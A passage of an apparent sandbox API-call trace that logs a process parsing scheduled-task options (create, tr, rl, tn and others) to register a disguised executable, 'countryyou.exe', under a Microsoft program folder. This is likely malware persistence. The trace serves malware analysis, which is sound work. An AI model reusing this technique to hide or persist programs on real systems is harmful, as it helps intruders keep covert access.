(lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0072.788] SetLastError (dwErrCode=0x490) [0072.788] lstrlenW (lpString="mo") returned 2 [0072.788] lstrlenW (lpString="mo") returned 2 [0072.788] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.788] lstrlenW (lpString="tr") returned 2 [0072.788] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.788] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|mo|") returned 4 [0072.788] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.788] lstrlenW (lpString="|mo|") returned 4 [0072.788] lstrlenW (lpString="|tr|") returned 4 [0072.788] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0072.788] SetLastError (dwErrCode=0x490) [0072.788] lstrlenW (lpString="d") returned 1 [0072.788] lstrlenW (lpString="d") returned 1 [0072.788] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.788] lstrlenW (lpString="tr") returned 2 [0072.788] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.789] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|d|") returned 3 [0072.789] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.789] lstrlenW (lpString="|d|") returned 3 [0072.789] lstrlenW (lpString="|tr|") returned 4 [0072.789] SetLastError (dwErrCode=0x490) [0072.789] lstrlenW (lpString="m") returned 1 [0072.789] lstrlenW (lpString="m") returned 1 [0072.789] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.789] lstrlenW (lpString="tr") returned 2 [0072.789] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.789] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|m|") returned 3 [0072.789] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.789] lstrlenW (lpString="|m|") returned 3 [0072.789] lstrlenW (lpString="|tr|") returned 4 [0072.789] SetLastError (dwErrCode=0x490) [0072.789] lstrlenW (lpString="i") returned 1 [0072.789] lstrlenW (lpString="i") returned 1 [0072.789] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.789] lstrlenW (lpString="tr") returned 2 [0072.789] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.789] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|i|") returned 3 [0072.789] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.789] lstrlenW (lpString="|i|") returned 3 [0072.789] lstrlenW (lpString="|tr|") returned 4 [0072.790] SetLastError (dwErrCode=0x490) [0072.790] lstrlenW (lpString="tn") returned 2 [0072.790] lstrlenW (lpString="tn") returned 2 [0072.790] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.790] lstrlenW (lpString="tr") returned 2 [0072.790] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.790] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.790] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.790] lstrlenW (lpString="|tn|") returned 4 [0072.790] lstrlenW (lpString="|tr|") returned 4 [0072.790] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0072.790] SetLastError (dwErrCode=0x490) [0072.790] lstrlenW (lpString="tr") returned 2 [0072.790] lstrlenW (lpString="tr") returned 2 [0072.790] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.790] lstrlenW (lpString="tr") returned 2 [0072.790] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.790] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.790] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.790] lstrlenW (lpString="|tr|") returned 4 [0072.790] lstrlenW (lpString="|tr|") returned 4 [0072.790] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0072.790] SetLastError (dwErrCode=0x0) [0072.790] SetLastError (dwErrCode=0x0) [0072.791] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.791] lstrlenW (lpString="-/") returned 2 [0072.791] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0072.791] SetLastError (dwErrCode=0x490) [0072.791] SetLastError (dwErrCode=0x490) [0072.791] SetLastError (dwErrCode=0x0) [0072.791] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.791] StrChrIW (lpStart="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'", wMatch=0x3a) returned=":\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'" [0072.791] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.791] _memicmp (_Buf1=0x2ec470, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.791] _memicmp (_Buf1=0x2ed680, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.791] SetLastError (dwErrCode=0x7a) [0072.791] SetLastError (dwErrCode=0x0) [0072.791] SetLastError (dwErrCode=0x0) [0072.791] lstrlenW (lpString="'C") returned 2 [0072.791] lstrlenW (lpString="-/") returned 2 [0072.791] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0072.791] SetLastError (dwErrCode=0x490) [0072.791] SetLastError (dwErrCode=0x490) [0072.791] SetLastError (dwErrCode=0x0) [0072.791] _memicmp (_Buf1=0x2ed6e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.791] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.791] GetProcessHeap () returned 0x2d0000 [0072.791] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed700) returned 1 [0072.791] GetProcessHeap () returned 0x2d0000 [0072.791] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ed700, Size=0x8e) returned 0x2ec4b0 [0072.791] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.792] lstrlenW (lpString=" \x09") returned 2 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0072.792] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0072.792] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0072.793] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0072.793] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0072.793] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0072.793] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0072.794] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0072.794] GetLastError () returned 0x0 [0072.794] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.794] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.794] SetLastError (dwErrCode=0x0) [0072.794] SetLastError (dwErrCode=0x0) [0072.794] lstrlenW (lpString="/rl") returned 3 [0072.794] lstrlenW (lpString="-/") returned 2 [0072.794] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.794] lstrlenW (lpString="create") returned 6 [0072.795] lstrlenW (lpString="create") returned 6 [0072.795] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.795] lstrlenW (lpString="rl") returned 2 [0072.795] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.795] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|create|") returned 8 [0072.795] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.795] lstrlenW (lpString="|create|") returned 8 [0072.795] lstrlenW (lpString="|rl|") returned 4 [0072.795] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0072.795] SetLastError (dwErrCode=0x490) [0072.795] lstrlenW (lpString="?") returned 1 [0072.795] lstrlenW (lpString="?") returned 1 [0072.795] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.795] lstrlenW (lpString="rl") returned 2 [0072.795] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.795] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|?|") returned 3 [0072.795] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.795] lstrlenW (lpString="|?|") returned 3 [0072.795] lstrlenW (lpString="|rl|") returned 4 [0072.795] SetLastError (dwErrCode=0x490) [0072.795] lstrlenW (lpString="s") returned 1 [0072.795] lstrlenW (lpString="s") returned 1 [0072.795] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.795] lstrlenW (lpString="rl") returned 2 [0072.796] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.796] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|s|") returned 3 [0072.796] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.796] lstrlenW (lpString="|s|") returned 3 [0072.796] lstrlenW (lpString="|rl|") returned 4 [0072.796] SetLastError (dwErrCode=0x490) [0072.796] lstrlenW (lpString="u") returned 1 [0072.796] lstrlenW (lpString="u") returned 1 [0072.796] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.796] lstrlenW (lpString="rl") returned 2 [0072.796] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.796] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|u|") returned 3 [0072.796] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.796] lstrlenW (lpString="|u|") returned 3 [0072.796] lstrlenW (lpString="|rl|") returned 4 [0072.796] SetLastError (dwErrCode=0x490) [0072.796] lstrlenW (lpString="p") returned 1 [0072.796] lstrlenW (lpString="p") returned 1 [0072.796] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.796] lstrlenW (lpString="rl") returned 2 [0072.796] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.796] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|p|") returned 3 [0072.796] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.797] lstrlenW (lpString="|p|") returned 3 [0072.797] lstrlenW (lpString="|rl|") returned 4 [0072.797] SetLastError (dwErrCode=0x490) [0072.797] lstrlenW (lpString="ru") returned 2 [0072.797] lstrlenW (lpString="ru") returned 2 [0072.797] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.797] lstrlenW (lpString="rl") returned 2 [0072.797] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.797] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|ru|") returned 4 [0072.797] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.797] lstrlenW (lpString="|ru|") returned 4 [0072.797] lstrlenW (lpString="|rl|") returned 4 [0072.797] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0072.797] SetLastError (dwErrCode=0x490) [0072.797] lstrlenW (lpString="rp") returned 2 [0072.797] lstrlenW (lpString="rp") returned 2 [0072.797] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.797] lstrlenW (lpString="rl") returned 2 [0072.797] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.797] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rp|") returned 4 [0072.798] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.798] lstrlenW (lpString="|rp|") returned 4 [0072.798] lstrlenW (lpString="|rl|") returned 4 [0072.798] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0072.798] SetLastError (dwErrCode=0x490) [0072.798] lstrlenW (lpString="sc") returned 2 [0072.798] lstrlenW (lpString="sc") returned 2 [0072.798] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.798] lstrlenW (lpString="rl") returned 2 [0072.798] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.798] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.798] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.798] lstrlenW (lpString="|sc|") returned 4 [0072.798] lstrlenW (lpString="|rl|") returned 4 [0072.798] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0072.798] SetLastError (dwErrCode=0x490) [0072.798] lstrlenW (lpString="mo") returned 2 [0072.798] lstrlenW (lpString="mo") returned 2 [0072.798] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.798] lstrlenW (lpString="rl") returned 2 [0072.798] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.798] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|mo|") returned 4 [0072.798] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.798] lstrlenW (lpString="|mo|") returned 4 [0072.798] lstrlenW (lpString="|rl|") returned 4 [0072.799] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0072.799] SetLastError (dwErrCode=0x490) [0072.799] lstrlenW (lpString="d") returned 1 [0072.799] lstrlenW (lpString="d") returned 1 [0072.799] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.799] lstrlenW (lpString="rl") returned 2 [0072.799] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.799] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|d|") returned 3 [0072.799] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.799] lstrlenW (lpString="|d|") returned 3 [0072.799] lstrlenW (lpString="|rl|") returned 4 [0072.799] SetLastError (dwErrCode=0x490) [0072.799] lstrlenW (lpString="m") returned 1 [0072.799] lstrlenW (lpString="m") returned 1 [0072.799] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.799] lstrlenW (lpString="rl") returned 2 [0072.799] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.799] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|m|") returned 3 [0072.799] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.799] lstrlenW (lpString="|m|") returned 3 [0072.799] lstrlenW (lpString="|rl|") returned 4 [0072.799] SetLastError (dwErrCode=0x490) [0072.799] lstrlenW (lpString="i") returned 1 [0072.799] lstrlenW (lpString="i") returned 1 [0072.800] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.800] lstrlenW (lpString="rl") returned 2 [0072.800] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.800] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|i|") returned 3 [0072.800] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.800] lstrlenW (lpString="|i|") returned 3 [0072.800] lstrlenW (lpString="|rl|") returned 4 [0072.800] SetLastError (dwErrCode=0x490) [0072.800] lstrlenW (lpString="tn") returned 2 [0072.800] lstrlenW (lpString="tn") returned 2 [0072.800] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.800] lstrlenW (lpString="rl") returned 2 [0072.800] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.800] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.800] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.800] lstrlenW (lpString="|tn|") returned 4 [0072.800] lstrlenW (lpString="|rl|") returned 4 [0072.800] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0072.800] SetLastError (dwErrCode=0x490) [0072.800] lstrlenW (lpString="tr") returned 2 [0072.800] lstrlenW (lpString="tr") returned 2 [0072.800] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.800] lstrlenW (lpString="rl") returned 2 [0072.800] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.801] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.801] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.801] lstrlenW (lpString="|tr|") returned 4 [0072.801] lstrlenW (lpString="|rl|") returned 4 [0072.801] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0072.801] SetLastError (dwErrCode=0x490) [0072.801] lstrlenW (lpString="st") returned 2 [0072.801] lstrlenW (lpString="st") returned 2 [0072.801] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.801] lstrlenW (lpString="rl") returned 2 [0072.801] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.801] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|st|") returned 4 [0072.801] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.801] lstrlenW (lpString="|st|") returned 4 [0072.801] lstrlenW (lpString="|rl|") returned 4 [0072.801] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0072.801] SetLastError (dwErrCode=0x490) [0072.801] lstrlenW (lpString="sd") returned 2 [0072.801] lstrlenW (lpString="sd") returned 2 [0072.801] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.801] lstrlenW (lpString="rl") returned 2 [0072.801] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.801] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sd|") returned 4 [0072.801] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.802] lstrlenW (lpString="|sd|") returned 4 [0072.802] lstrlenW (lpString="|rl|") returned 4 [0072.802] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0072.802] SetLastError (dwErrCode=0x490) [0072.802] lstrlenW (lpString="ed") returned 2 [0072.802] lstrlenW (lpString="ed") returned 2 [0072.802] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.802] lstrlenW (lpString="rl") returned 2 [0072.802] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.802] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|ed|") returned 4 [0072.802] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.802] lstrlenW (lpString="|ed|") returned 4 [0072.802] lstrlenW (lpString="|rl|") returned 4 [0072.802] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0072.802] SetLastError (dwErrCode=0x490) [0072.802] lstrlenW (lpString="it") returned 2 [0072.802] lstrlenW (lpString="it") returned 2 [0072.802] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.802] lstrlenW (lpString="rl") returned 2 [0072.802] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.802] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|it|") returned 4 [0072.802] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rl|") returned 4 [0072.802] lstrlenW (lpString="|it|") returned 4 [0072.802] lstrlenW (lpString="|rl|") returned 4 [0072.803] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0072.803] SetLastError (dwErrCode=0x490) [0072.803] lstrlenW (lpString="et") returned 2 [0072.803] lstrlenW (lpString="et") returned 2 [0072.803] _memicmp 